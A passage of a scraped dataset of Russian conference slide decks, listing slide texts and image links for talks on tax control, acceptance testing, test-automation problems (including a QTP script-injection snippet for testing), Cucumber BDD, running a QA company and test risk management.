"image": "https://mypresentation.ru/documents/7fa0c8e13b9a9c64a0470ed707ca9912/img28.jpg",
"description": "Алгоритм Узнать где и когда по близости состоится интересующий экзамен. Зарегистрироваться на экзамен. Оплатить экзамен. Параллельно с пунктами 1-3 подготовиться, используя все имеющиеся ресурсы. Прийти на экзамен, ответить на вопросы. Узнать результат и при положительном ответе – получить сертификат на руки по почте "
}
] |
https://mypresentation.ru/presentation/9959 | Налоговый контроль в РФ | Экономика и Финансы | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img0.jpg",
"description": "Налоговый контроль в РФ"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img1.jpg",
"description": "Налоговый контроль в РФ, слайд №2"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img2.jpg",
"description": "Налоговым контролем признается деятельность уполномоченных органов по контролю за соблюдением налогоплательщиками, налоговыми агентами и плательщиками сборов законодательства о налогах и сборах в порядке, установленном НК РФ. Налоговым контролем признается деятельность уполномоченных органов по контролю за соблюдением налогоплательщиками, налоговыми агентами и плательщиками сборов законодательства о налогах и сборах в порядке, установленном НК РФ."
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img3.jpg",
"description": "Задачи налогового контроля"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img4.jpg",
"description": "Налоговый контроль в РФ, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img5.jpg",
"description": "Структура системы органов Государственной налоговой службы РФ."
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img6.jpg",
"description": "Формы налогового контроля"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img7.jpg",
"description": "Налоговый контроль в РФ, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/ec1a2c7cfc4f952d63be59a62a19dea2/img8.jpg",
"description": "Методы налогового контроля -приемы, способы или средства его осуществления."
}
] |
https://mypresentation.ru/presentation/99600 | Организация пользовательского приемочного тестирования (UAT) в крупном проекте Александр Башарин. Перфоманс лаб. | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img0.jpg",
"description": "Организация пользовательского приемочного тестирования (UAT) в крупном проекте Александр Башарин. Перфоманс лаб."
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img1.jpg",
"description": "Особенности проекта Перевод функционала старой автоматизированной банковской системы на платформу новой АБС. Более 10 департаментов: ОД, ФД, ДАР, ДРБ, ДБТ, ДИТ… Более 20 бизнес-пользователей принимающих участие в тестировании"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img2.jpg",
"description": "Цели и задачи UAT Пользовательское тестирование Цель Подписать акт установки ПО в промышленную среду Задача Выполнить необходимые бизнес-процессы на тестируемом ПО"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img3.jpg",
"description": "Проблемы UAT Бизнес-пользователи: не тестировщики, а специалисты в своей области нет желания проводить непонятную работу мало времени, он работает сложность взаимодействия, их много"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img4.jpg",
"description": "Этапы подготовки к UAT Определить критерии начала и завершения Разработать план Подготовить приемочные тесты Определить участников и зоны ответственности Составить расписание Выделить координатора"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img5.jpg",
"description": "Когда можно начинать UAT ПО разработано Проведено функциональное тестирование ПО установлено и настроено на тестовом стенде Объем тестирования определен"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img6.jpg",
"description": "Приемочный тест Описаны бизнес-действия Шаги не детализированы Ожидаемый результат детализирован Указаны входные и выходные данные Указан ответственный за выполнение"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img7.jpg",
"description": "Пример приемочного теста"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img8.jpg",
"description": "Пример приемочного теста"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img9.jpg",
"description": "Участники UAT Ответственные от бизнеса Бизнес-пользователи тестировщики Координатор Ответственный от ДИТ Аналитик Разработчик Технолог"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img10.jpg",
"description": "Координатор UAT Осуществляет координацию тестирования Контролирует время проведения тестирования Решает проблемы, возникающие между участниками Решает технические проблемы. Решает, когда начать и когда закончить тестирование"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img11.jpg",
"description": "Главное - расписание Определить ответственных за свою зону теста Задать время на проведение теста в зоне ответственности Составить последовательность переходов во время тестирования"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img12.jpg",
"description": "Пример расписания"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img13.jpg",
"description": "Пример расписания укрупнено"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img14.jpg",
"description": "Методика тестирования Критерии начала/окончания Участники процесса Действия участников Объем и виды тестирования Организация процесса тестирования"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img15.jpg",
"description": "База тестирования Содержит тестовые объект, на которых проводилось тестирование и их атрибуты: Клиенты, счета. Данные на начало теста Данные на окончание теста В дальнейшем, по базе тестирования пользователи проверяют итоговый результат. Базу готовят тестировщики"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img16.jpg",
"description": "Пример базы"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img17.jpg",
"description": "Когда заканчивать тестирование Тестирование выполнено в полном объеме У пользователей нет замечаний к тестируемому функционалу, нет открытых дефектов выше 3-его (medium) приоритета Подписан акт о вводе в промышленную эксплуатацию"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img18.jpg",
"description": "Передача в UAT Тесты База тестирования Документ: акты, протоколы"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img19.jpg",
"description": "В заключении Проведение крупного UAT невозможно без поддержки профессиональных тестировщиков"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/d33effb1893caca4f766d7b8f4cb7a84/img20.jpg",
"description": "Вопросы Вопросы? Башарин Александр, Перфоманс лаб. [email protected] http://www.performance-lab.ru"
}
] |
https://mypresentation.ru/presentation/99601 | Проблемы автоматизируемости тестирования и их решения Круглый стол | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img0.jpg",
"description": "Проблемы автоматизируемости тестирования и их решения Круглый стол"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img1.jpg",
"description": "О докладчике Илья Фомин – Руководитель группы автоматизации @ Align Technology, Inc. E-mail (work)………………[email protected] E-mail (personal)…………[email protected] Profile………………….......http://i-fomin.moikrug.ru/"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img2.jpg",
"description": "Постановка проблемы"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img3.jpg",
"description": "Постановка проблемы"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img4.jpg",
"description": "Постановка проблемы"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img5.jpg",
"description": "Постановка проблемы"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img6.jpg",
"description": "Постановка проблемы"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img7.jpg",
"description": "Технические методы решения"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img8.jpg",
"description": "Технические методы решения RTFM! (Manual) RTFF! (Forums) RTFG! (Google)"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img9.jpg",
"description": "Технические методы решения Использование другого тула Обзоры: http://goo.gl/IRvm0 http://goo.gl/BWzV1"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img10.jpg",
"description": "Технические методы решения Вызов операций нижнего уровня Найти onClick() и вызвать Распарсить код страницы Сформировать POST, отправить, проанализировать ответ"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img11.jpg",
"description": "Технические методы решения Инъекции кода В клиент В БД"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img12.jpg",
"description": "Технические методы решения Инъекции кода – пример: pageObj.object.parentWindow.execScript( _ \"var httpReq;\" &_ \"httpReq = new XMLHttpRequest();\" &_ \"httpReq.open(\"\"GET\"\", \"\"\" & url & \"\"\", false);\" &_ \"httpReq.setRequestHeader(\"\"Cache-Control\"\", \"\"no-cache\"\");\" &_ \"httpReq.send(null);\" &_ \"window.receivedResponse = httpReq.responseText;\" ) responseXmlText = pageObj.object.parentWindow.receivedResponse"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img13.jpg",
"description": "Технические методы решения Замена действий синонимами Горячие клавиши Hardware replay Буфер обмена OCR"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img14.jpg",
"description": "Технические методы решения Замена действий - пример .Type micDwn &_ micDwn &_ micDwn &_ micReturn Clipboard: Set objHTML = CreateObject(\"InternetExplorer.Application\") objHTML.Document.ParentWindow.ClipboardData"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img15.jpg",
"description": "Технические методы решения Проблемы технических методов? Нужно самостоятельно гарантировать эквивалентность ручному тестированию. Обычно гарантом выступает репутация вендора Чаще всего сложно и долго Не переносимо между технологиями"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img16.jpg",
"description": "Административные методы решения"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img17.jpg",
"description": "Административные методы решения Компромисс Комбинация с ручными проверками Точки остановки и синхронизации Скриншоты Подробные и удобно читаемые отчеты Описание проверок прямо в отчетах скриптов Downstream проверки интеграционных точек Data Driven Testing"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img18.jpg",
"description": "Административные методы решения Просите помощи у разработчиков (или Agile в действии :)"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img19.jpg",
"description": "Административные методы решения Просите помощи у разработчиков Написание сложных алгоритмов Имплементация необходимых интерфейсов Любые правки, повышающие тестабилити"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img20.jpg",
"description": "Административные методы решения Просите помощи у разработчиков: Backdoor-интерфейсы"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img21.jpg",
"description": "Административные методы решения Просите помощи у разработчиков: Backdoor-интерфейсы"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img22.jpg",
"description": "Административные методы решения Просите помощи у разработчиков заранее Прототип каждой программы, использующей новую технологию, обязателен к изучению"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img23.jpg",
"description": "Административные методы решения 100%ная автоматизация"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img24.jpg",
"description": "Административные методы решения 100%ная автоматизация Существует?"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img25.jpg",
"description": "Административные методы решения 100%ная автоматизация Существует?"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img26.jpg",
"description": "Административные методы решения 100%ная автоматизация Существует! Нужно только правильно выбрать 100%"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img27.jpg",
"description": "Административные методы решения - Что нужно автоматизировать? - А нужно ли автоматизировать именно это? Если автоматизировать трудно: Переформулируйте задачу так, чтобы добиться автоматизируемости ... или даже Сформулируйте задачу так, чтобы она уже была автоматизирована!"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img28.jpg",
"description": "Административные методы решения Нужно ли вообще выполнять данный вид тестирования? Насколько проблемная область? Если не было ни одного бага, нужно ли тестировать? Рассмотрите другие подходы: Анализ исходного кода и ресурсов Модульные тесты Отслеживание зависимостей, тестирование только измененного функционала Идеи в аудитории?"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img29.jpg",
"description": "Что нужно автоматизировать Главная проблема автоматизируемости – пытаться автоматизировать все подряд. Это неправильно! Правильно автоматизировать то, где"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img30.jpg",
"description": "Что нужно автоматизировать Profit от автоматизации: Экономия ресурсов Ускорение выполнения Увеличение скорости реакции Выполнение в нерабочее время Действия (практически) невозможно провести вручную Устранение скучной работы"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img31.jpg",
"description": "Что нужно автоматизировать Loss от автоматизации: Покупка тулов Обучение Разработка/доработка инфраструктуры Написание скриптов Поддержка скриптов и пользователей Запуски, анализ отчетов"
},
{
"slide_number": "33",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img32.jpg",
"description": "Что нужно автоматизировать"
},
{
"slide_number": "34",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img33.jpg",
"description": "Выход из тупика. Разбор полетов."
},
{
"slide_number": "35",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img34.jpg",
"description": "Выход из тупика. Разбор полетов. DataSweep Shop Advantage 6.1 -> Rockwell Factory Talk Production Centre 8.1"
},
{
"slide_number": "36",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img35.jpg",
"description": "Выход из тупика. Разбор полетов. Появившиеся проблемы (QTP 10)"
},
{
"slide_number": "37",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img36.jpg",
"description": "Выход из тупика. Разбор полетов. Появившиеся проблемы (QTP 10)"
},
{
"slide_number": "38",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img37.jpg",
"description": "Выход из тупика. Разбор полетов. Появившиеся проблемы (QTP 10) JavaList has no parents. Messed hierarchy Objects are identified as disabled, though they are not JavaButton \"OK\" is identified as JavaList И другие схожие проблемы... ...проявляющиеся в 1-5% случаев Лечится переоткрытием окна/таба, иногда – ручным кликом по заголовку"
},
{
"slide_number": "39",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img38.jpg",
"description": "Выход из тупика. Разбор полетов. Что известно: Обновленная версия Java (1.5) Минимальные изменения кода Обновленная версия сервера приложений (WebSpere) Скрипты LoadRunner перестали работать"
},
{
"slide_number": "40",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img39.jpg",
"description": "Выход из тупика. Разбор полетов. Предпринятые шаги (workarounds): Переопределение .Exist (включили .Activate) Перенос части интерфейсных проверок в БД Упрощение дозапуска скриптов Упрощенный и автоматизированный запуск регрессии"
},
{
"slide_number": "41",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img40.jpg",
"description": "Выход из тупика. Разбор полетов. Предпринятые шаги (конфигурация): Написание простого теста, воспроизводящего проблему (Logon/Logoff) Чистая последняя инсталляция QTP 10 Инсталляция QTP 11 Разные версии Java 1.4-1.6 Попробовали TestComplete (работает, но иногда вылетает)"
},
{
"slide_number": "42",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img41.jpg",
"description": "Выход из тупика. Разбор полетов. Предпринятые шаги (с разработчиками): Запуск клиента FTPC через апплет и jnlp Несколько версий FTPC (8.0, 8.1, 8.2, 9.0) Вызов сборщика мусора (GC) через .Object Общение с поддержкой Rockwell Поиск потенциальных проблем в коде"
},
{
"slide_number": "43",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img42.jpg",
"description": "Выход из тупика. Разбор полетов. Новая информация: JRE скачивается FTPC самостоятельно, установленная версия не имеет значения Скрипты LoadRunner сломались из-за использования объектов IBM JM IBM JM скачивается клиентом вместе с Sun FTPC 8.1, установленный на WebSphere требует IBM JM, а 6.1 – нет FTPC 8.x на Jboss/WebLogic не требует IBM"
},
{
"slide_number": "44",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img43.jpg",
"description": "Выход из тупика. Разбор полетов. Пробуем Jboss …………."
},
{
"slide_number": "45",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img44.jpg",
"description": "Выход из тупика. Разбор полетов. Решение: На каждый тестовый стенд установлен дополнительный сервер FTPC/Jboss Запущен проект по полному переходу на Jboss Jboss еще и стоит существенно дешевле WebSphere"
},
{
"slide_number": "46",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img45.jpg",
"description": "End Function"
},
{
"slide_number": "47",
"image": "https://mypresentation.ru/documents/3820a27e544a32a6541ef33e90b38042/img46.jpg",
"description": "О докладчике Илья Фомин – Руководитель группы автоматизации @ Align Technology, Inc. E-mail (work)………………[email protected] E-mail (personal)…………[email protected] Profile………………….......http://i-fomin.moikrug.ru/"
}
] |
https://mypresentation.ru/presentation/99602 | Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img0.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img1.jpg",
"description": "56% всех ошибок — результат неверного понимания или объяснения требований. (CHAOS Report)"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img2.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №3"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img3.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №4"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img4.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №5"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img5.jpg",
"description": "1970 г. — сегодняшний день"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img6.jpg",
"description": "... который создал новые языки для разных людей, из-за чего они перестали понимать друг друга, не могли продолжать строительство ..."
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img7.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №8"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img8.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №9"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img9.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №10"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img10.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №11"
},
{
"slide_number": "12",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img11.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №12"
},
{
"slide_number": "13",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img12.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №13"
},
{
"slide_number": "14",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img13.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №14"
},
{
"slide_number": "15",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img14.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №15"
},
{
"slide_number": "16",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img15.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №16"
},
{
"slide_number": "17",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img16.jpg",
"description": "Функционал Опишите поведение системы на естественном языке"
},
{
"slide_number": "18",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img17.jpg",
"description": "Функционал Опишите шаги сценария на языке программирования"
},
{
"slide_number": "19",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img18.jpg",
"description": "Gherkin"
},
{
"slide_number": "20",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img19.jpg",
"description": "Gherkin"
},
{
"slide_number": "21",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img20.jpg",
"description": "Формат"
},
{
"slide_number": "22",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img21.jpg",
"description": "Формат"
},
{
"slide_number": "23",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img22.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №23"
},
{
"slide_number": "24",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img23.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №24"
},
{
"slide_number": "25",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img24.jpg",
"description": "Разработка ПО через тестирование поведения средствами Cucumber Динерштейн Леонид, Флэтсофт, слайд №25"
},
{
"slide_number": "26",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img25.jpg",
"description": "Зачем нужен заказчику? Зачем нужен заказчику? Зачем нужен менеджеру? Зачем нужен разработчику?"
},
{
"slide_number": "27",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img26.jpg",
"description": "Заказчик"
},
{
"slide_number": "28",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img27.jpg",
"description": "Менеджер"
},
{
"slide_number": "29",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img28.jpg",
"description": "Разработчик"
},
{
"slide_number": "30",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img29.jpg",
"description": "Ошибки и заблуждения"
},
{
"slide_number": "31",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img30.jpg",
"description": "Плагины"
},
{
"slide_number": "32",
"image": "https://mypresentation.ru/documents/1219ff423ad30163d0868fd919fa8ce7/img31.jpg",
"description": "Вопросы?"
}
] |
https://mypresentation.ru/presentation/99603 | SQA DAYS 9: Опыт создания своей QA компании Иосиф Иткин, Москва Инновационные Трейдинговые Системы | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img0.jpg",
"description": "SQA DAYS 9: Опыт создания своей QA компании Иосиф Иткин, Москва Инновационные Трейдинговые Системы"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img1.jpg",
"description": "Содержание Наша команда сформировалась в 2007 году. За это время мы выполнили более 40 проектов в области тестирования и разработки программного обеспечения для банков, бирж, брокеров и дилеров. В конце 2009 года мы создали две независимые организации: «Exactpro Systems LLC» и «ООО Инновационные Трейдинговые Системы». На момент создания нас было 10 человек Сейчас с нами в команде работает 70 человек, и мы продолжаем расти, получая более 98% нашей выручки от тестирования Доклад рассказывает об элементах, необходимых для успешного функционирования бизнеса: клиентах, финансовых ресурсах и модели проектов"
},
{
"slide_number": "3",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img2.jpg",
"description": "Бизнес QA Компании"
},
{
"slide_number": "4",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img3.jpg",
"description": "Клиенты QA Компании Наши клиенты - это крупные международные организации, имеющие жесткие формальные критерии в области привлечения поставщиков услуг Топ менеджеру нужно приложить очень серьезные усилия, чтобы утвердить использование небольшой, только что созданной компании для работы на стратегическом проекте Люди, которые помогали нам получить первый проект, шли на большой риск"
},
{
"slide_number": "5",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img4.jpg",
"description": "Клиенты QA Компании Что мы делали для того, чтобы помочь им принять это непростое решение? Находили дефекты Автоматизировали тестирование Выполняли регрессионное тестирование Помогали выпустить систему"
},
{
"slide_number": "6",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img5.jpg",
"description": "Клиенты QA Компании Второй значительный Клиент принял решение об использовании нашей компании, посмотрев на то, как мы: Выполняем нагрузочное тестирование Готовим тестовые данные"
},
{
"slide_number": "7",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img6.jpg",
"description": "Наш проект"
},
{
"slide_number": "8",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img7.jpg",
"description": "Деньги в QA Компании"
},
{
"slide_number": "9",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img8.jpg",
"description": "Модель Процессов Мы используем модель, которая делит проекты и виды работ на три категории: Инновации и героизм Предыдущий опыт Стабильный процесс"
},
{
"slide_number": "10",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img9.jpg",
"description": "EXTENT September 2011 В сентябре 2011 года наша компания будет проводить конференцию, посвященную автоматизации тестирования трейдинговых систем: Конференция займет два дня и будет состоять из докладов и обсуждений неоднозначных вопросов по данной тематике Мы приглашаем экспертов в области тестирования, а также ИТ менеджеров компаний финансового сектора, принять участие в нашей конференции Конференция пройдет, в одном из отелей в Подмосковье. Участие и размещение для докладчиков бесплатны"
},
{
"slide_number": "11",
"image": "https://mypresentation.ru/documents/fca9d4e436163eaa21542b3877b7c120/img10.jpg",
"description": "Контакты Спасибо Иосиф Иткин Тел: +7 915 333 55 93 / Skype: iosif.itkin Email: [email protected] EXTENT September 2011: 115088, Москва, 2-й Южнопортовый проезд 20A, стр. 4 Тел: +7 (495) 640 2460 Email: [email protected]"
}
] |
https://mypresentation.ru/presentation/99604 | Управление рисками тестирования Никита Налютин, Антон Александров Deutsche Bank | Образование | [
{
"slide_number": "1",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img0.jpg",
"description": "Управление рисками тестирования Никита Налютин, Антон Александров Deutsche Bank"
},
{
"slide_number": "2",
"image": "https://mypresentation.ru/documents/02c3c7c3b2c4a28e09a485601f6cfbbf/img1.jpg",
